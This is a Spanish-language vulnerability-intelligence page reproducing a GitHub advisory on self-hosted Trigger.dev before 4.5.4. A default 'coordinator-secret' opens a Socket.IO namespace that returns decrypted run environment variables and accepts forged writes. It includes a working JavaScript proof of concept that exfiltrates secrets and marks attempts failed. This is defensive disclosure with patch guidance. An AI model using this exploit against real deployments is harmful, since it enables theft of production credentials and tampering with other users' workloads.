llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · trigger.dev

GHSA-GG6R-GP4C-89HP

Trigger.dev: V1 coordinator default-secret unauth Socket.IO

Parche disponible
Descargar PNG JSON
CVSS
—
critical
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -80 d de la divulgación
Exposición48 dDesde la divulgación, 2 oct 2026, 5:39 p. m.
Detección45 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Parche 4.5.4
Monitoreo
Detectada
14 jul 26
2 oct 26
21 oct 26
17 nov 26
20 nov 26
14 jul 26
16 ago 26
17 sept 26
19 oct 26
20 nov 26
FechaFaseEventoDetalle
Remediación Parche 4.5.4 trigger.dev · -80 d desde divulgación
Divulgación Publicada GHSA-GG6R-GP4C-89HP divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

TL;DR

The /coordinator Socket.IO namespace mounts on every webapp boot and authenticates with a default secret ("coordinator-secret") baked into source. The override variable isn't documented in the self-host docs, .env.example, or helm values, so any operator who didn't read source ships with the default. Once connected, READY_FOR_EXECUTION returns the run's decrypted env vars. Anyone who can reach a default-config self-hosted webapp can pull production secrets out of any run whose internal id they can find.

Vulnerabilities

This attack is made possible by 3 vulnerabilities in Trigger.dev:

### 1. Hardcoded default authentication secret (CWE-798, Critical)
PROVIDER_SECRET and COORDINATOR_SECRET are declared with `.default("provider-secret")` / `.default("coordinator-secret")` in `apps/webapp/app/env.server.ts:289-290` https://github.com/triggerdotdev/trigger.dev/blob/v4.4.4/apps/webapp/app/env.server.ts#L289-L290. The values are present in the public source repo, neither var is documented in `docs/self-hosting/env/*.mdx`, `hosting/docker/.env.example`, or `hosting/k8s/helm/values.yaml`, and the auth check at `packages/core/src/v3/zodNamespace.ts:148` https://github.com/triggerdotdev/trigger.dev/blob/v4.4.4/packages/core/src/v3/zodNamespace.ts#L148 is a plain string compare against that published value

### 2. Coordinator handler returns decrypted env vars to any authenticated caller (CWE-200, High)
`READY_FOR_EXECUTION` at `apps/webapp/app/v3/handleSocketIo.server.ts:123` https://github.com/triggerdotdev/trigger.dev/blob/v4.4.4/apps/webapp/app/v3/handleSocketIo.server.ts#L123 calls `sharedQueueTasks.getLatestExecutionPayloadFromRun(runId, ...)`, which at `apps/webapp/app/v3/marqs/sharedQueueConsumer.server.ts:1881-1895` https://github.com/triggerdotdev/trigger.dev/blob/v4.4.4/apps/webapp/app/v3/marqs/sharedQueueConsumer.server.ts#L1881-L1895 returns `payload.environment` as the run's decrypted env-var dictionary. Any internal runId is enough to exfil that run's full env, regardless of tenant. Note: this read handler lives in V1-only `marqs/` code, so it returns nothing for runs on V2 (Run Engine 2.0). Self-hosts still on V1 are fully exposed; v4-only deployments only see the write handlers below

### 3. Other coordinator handlers accept attacker-controlled writes against arbitrary runs (CWE-862, High)
TASK_RUN_COMPLETED, TASK_RUN_COMPLETED_WITH_ACK, TASK_RUN_FAILED_TO_RUN, CHECKPOINT_CREATED, CREATE_WORKER and friends invoke webapp services with attacker-supplied completion / attempt / worker payloads. None of them check that the caller has authority over the runId or attemptId in the message. `attempt_*` friendlyIds leak through every dashboard URL and emailed alert, so writes are trivially reachable without any internal id

Exploit chain / PoC

import { io } from "socket.io-client";

const sock = io("https://<self-hosted-target>/coordinator", {
  auth: { token: "coordinator-secret" },
  transports: ["websocket"],
});

sock.on("connect", () => {
  // exfil decrypted env for a known run id
  sock.emit("READY_FOR_EXECUTION", { runId: "<runId>", totalCompletions: 0 }, (res) => {
    console.log(res.payload.environment);
    // { DATABASE_URL: "...", STRIPE_SECRET_KEY: "...", OPENAI_API_KEY: "...", ... }
  });

  // mark any attempt failed
  sock.emit("TASK_RUN_FAILED_TO_RUN", {
    completion: {
      id: "<attempt_friendlyId>",
      ok: false,
      error: { type: "INTERNAL_ERROR", code: "FORGED", message: "owned" },
    },
  });
});

Resolution

Fixed in v4.5.4. The entire end-of-life V1 (Run Engine 1.0) execution stack was removed in commit `5ba8557a5` (#4236) — including the `/coordinator`, `/provider`, and `/shared-queue` Socket.IO namespaces, `packages/core/src/v3/zodNamespace.ts`, the `marqs` shared-queue consumer, and the `PROVIDER_SECRET` / `COORDINATOR_SECRET` environment variables.

All three vulnerabilities are absent in v4.5.4 and later: the vulnerable namespaces no longer mount, the `READY_FOR_EXECUTION` env-var read handler and the unauthenticated write handlers no longer exist, and the hardcoded default secrets are gone.

Affected: self-hosted Trigger.dev `< 4.5.4`. Vulnerability #2 (decrypted env-var exfiltration) additionally required a deployment still running Run Engine 1.0; v4-only (Run Engine 2.0) deployments were exposed only to the write handlers (#3).

Managed cloud (cloud.trigger.dev) was not affected: it was configured with non-default control-plane secrets, so the default-secret entry point (vulnerability #1) that gates the chain never applied.

Action: self-hosted operators on any release before v4.5.4 should upgrade to v4.5.4 or later.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
trigger.dev< 4.5.4
4.5.4
4.8.7
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmtrigger.dev
Corregida 4.5.4 -80 d 4.8.7 no afectada
Versiones corregidas4.5.4
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Otrahttps://github.com/triggerdotdev/trigger.dev/security/advisories/GHSA-gg6r-gp4c-89hp
Otrahttps://github.com/triggerdotdev/trigger.dev/pull/4236
Otrahttps://github.com/triggerdotdev/trigger.dev/commit/5ba8557a51533be05f04245b03e1ca975cd57eff
Otrahttps://github.com/triggerdotdev/trigger.dev
Otrahttps://github.com/triggerdotdev/trigger.dev/releases/tag/v4.5.4

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.